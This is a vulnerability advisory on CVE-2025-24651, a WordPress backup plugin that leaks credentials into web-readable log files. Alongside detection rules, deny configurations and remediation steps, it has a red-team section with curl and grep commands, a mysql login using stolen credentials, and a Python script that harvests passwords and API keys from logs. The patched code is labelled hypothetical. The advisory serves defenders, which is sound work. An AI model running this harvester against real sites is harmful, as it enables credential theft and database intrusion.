CVE-2025-24651

Executive Summary

CVE-2025-24651 is a medium-severity vulnerability affecting the WordPress Backup & Migration plugin (slug: wp-migration-duplicator) by WebToffee, versions up to and including 1.5.3. The flaw is classified as an Insertion of Sensitive Information into Log File (CWE-532), which allows an unauthenticated attacker to retrieve embedded sensitive data from server-side log files. This is a WordPress ecosystem issue, not related to the underlying web server software.

The vulnerability stems from the plugin’s failure to sanitize or mask sensitive data (e.g., database credentials, API keys, or backup file paths) before writing them to debug or error logs. An attacker who gains access to these logs—either through a separate information disclosure, misconfigured permissions, or direct file access—can extract credentials and pivot to deeper compromise.

Key Risk: While the CVSS score is 5.9 (Medium), the actual business impact is elevated because exposed credentials can lead to lateral movement, data exfiltration, or ransomware deployment. The EPSS score of 0.0% indicates low exploitation likelihood in the wild, but targeted attacks are plausible.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress Plugin Directory. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress supply chain. Users should verify the integrity of their plugin files and monitor for updates from WebToffee.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The log file can be accessed remotely if exposed.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed to read logs if accessible.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the log file.
• Confidentiality (C): Low (L) – Only log data is exposed, not the entire database.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. The vulnerability is easy to exploit if logs are accessible, but the attacker must first find a way to read the log file (e.g., via directory traversal, misconfigured .htaccess, or another vulnerability).

Deep Dive & Mechanics

The WordPress Backup & Migration plugin creates detailed logs during backup and migration operations. These logs are stored in the WordPress uploads directory (e.g., /wp-content/uploads/wp-migration-duplicator/logs/) or a custom path defined by the plugin. The logs contain:

• Database connection strings (username, password, host)
• File paths to backup archives
• API keys or tokens used for remote storage (e.g., Dropbox, Google Drive)
• Server environment variables

The plugin writes this data using PHP’s error_log() or a custom logging function without filtering out sensitive fields. An attacker who can read these logs—either by guessing the filename, exploiting a path traversal, or leveraging a misconfigured web server—can extract credentials.

Attack Flow:

1. Attacker identifies a target running the vulnerable plugin.
2. Attacker accesses the log file via a predictable URL (e.g., /wp-content/uploads/wp-migration-duplicator/logs/backup-2025-01-01.log).
3. Attacker parses the log for lines containing password, api_key, or secret.
4. Attacker uses the extracted credentials to access the WordPress database or remote storage.

Vulnerable vs. Patched Code

Vulnerable Code (<= 1.5.3):

// In class-logger.php
public function log($message, $level = 'INFO') {
    $log_entry = date('Y-m-d H:i:s') . " [$level] " . $message . PHP_EOL;
    file_put_contents($this->log_file, $log_entry, FILE_APPEND);
}

The $message parameter is passed directly without sanitization. When the plugin logs database credentials, they appear in plaintext.

Patched Code (Hypothetical):

// In class-logger.php
public function log($message, $level = 'INFO') {
    // Mask sensitive data
    $message = preg_replace('/password=([^\s]+)/i', 'password=***MASKED***', $message);
    $message = preg_replace('/api_key=([^\s]+)/i', 'api_key=***MASKED***', $message);
    $log_entry = date('Y-m-d H:i:s') . " [$level] " . $message . PHP_EOL;
    file_put_contents($this->log_file, $log_entry, FILE_APPEND);
}

The patched version uses regex to replace sensitive values with ***MASKED*** before writing to the log.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install WordPress 6.x on a local server (e.g., XAMPP or Docker).
2. Install Backup & Migration plugin version 1.5.3.
3. Perform a backup operation to generate logs.

Exploitation Steps:

1. Enumerate log files:

   curl -s http://target/wp-content/uploads/wp-migration-duplicator/logs/ | grep -oP 'href="[^"]+\.log"'
   

2. Download a log file:

   curl -s http://target/wp-content/uploads/wp-migration-duplicator/logs/backup-2025-01-01.log
   

3. Extract credentials:

   grep -E '(password|api_key|secret)' backup-2025-01-01.log
   

4. Use extracted credentials to access the database:

   mysql -h db_host -u db_user -p'extracted_password' wordpress_db
   

Automated Exploit (Python):

import requests
import re

target = "http://target.com"
log_url = target + "/wp-content/uploads/wp-migration-duplicator/logs/backup-2025-01-01.log"

response = requests.get(log_url)
if response.status_code == 200:
    sensitive = re.findall(r'(password|api_key|secret)=([^\s]+)', response.text)
    for key, value in sensitive:
        print(f"[+] Found {key}: {value}")
else:
    print("[-] Log not accessible")

Blue Team (Defensive)

Detection:

• Monitor for requests to /wp-content/uploads/wp-migration-duplicator/logs/ with .log extensions.
• Alert on any access to log files from non-admin IPs.

Prevention:

• Restrict access to the uploads directory via .htaccess:

  <FilesMatch "\.log$">
      Require all denied
  </FilesMatch>
  

• Disable debug logging in production:

  define('WP_DEBUG', false);
  define('WP_DEBUG_LOG', false);
  

Hunting:

• Search for log files containing password= in web server access logs.
• Use file integrity monitoring (FIM) to detect unauthorized reads of log files.

Indicators of Compromise (IOCs)

• File Paths:
  • /wp-content/uploads/wp-migration-duplicator/logs/*.log
  • /wp-content/plugins/wp-migration-duplicator/logs/*.log
• Log Patterns:
  • Lines containing password=, api_key=, secret=
  • Timestamps matching backup operations
• Network:
  • Outbound connections from the WordPress server to attacker-controlled IPs (if credentials are used)
• User Agents:
  • curl/7.x, python-requests/2.x, Go-http-client/1.1

Detection Engineering

YARA Rule

rule CVE_2025_24651_Log_Exposure {
    meta:
        description = "Detects log files containing sensitive data from WordPress Backup & Migration plugin"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-24651"
    strings:
        $sensitive1 = /password=[^\s]+/
        $sensitive2 = /api_key=[^\s]+/
        $sensitive3 = /secret=[^\s]+/
        $log_header = /\[\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2}\]/
    condition:
        any of ($sensitive*) and $log_header
}

Sigma Rule

title: CVE-2025-24651 - Sensitive Data in WordPress Backup Logs
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects access to WordPress Backup & Migration log files containing sensitive data
author: Valters IT
date: 2025-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-extension: '.log'
        cs-uri-path: '/wp-content/uploads/wp-migration-duplicator/logs/'
    condition: selection
falsepositives:
    - Legitimate admin access
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-24651 - WordPress Backup Log Access"; flow:to_server,established; content:"/wp-content/uploads/wp-migration-duplicator/logs/"; http_uri; content:".log"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the plugin to the latest version (if a patch is released by WebToffee).
2. Delete existing log files from the server:

   find /var/www/html/wp-content/uploads/wp-migration-duplicator/logs/ -name "*.log" -delete
   

3. Restrict log file access via .htaccess or Nginx configuration:

   location ~* /wp-content/uploads/wp-migration-duplicator/logs/.*\.log$ {
       deny all;
   }
   

Long-Term Fixes:

• Implement a Web Application Firewall (WAF) rule to block requests to log files.
• Rotate any credentials that may have been exposed in logs.
• Enable security headers (e.g., X-Content-Type-Options: nosniff) to prevent MIME sniffing.

Vendor Communication:

• Contact WebToffee support for patch status.
• Monitor the WordPress Plugin Directory for updates.

Valters IT
Securing WordPress Ecosystems, One Plugin at a Time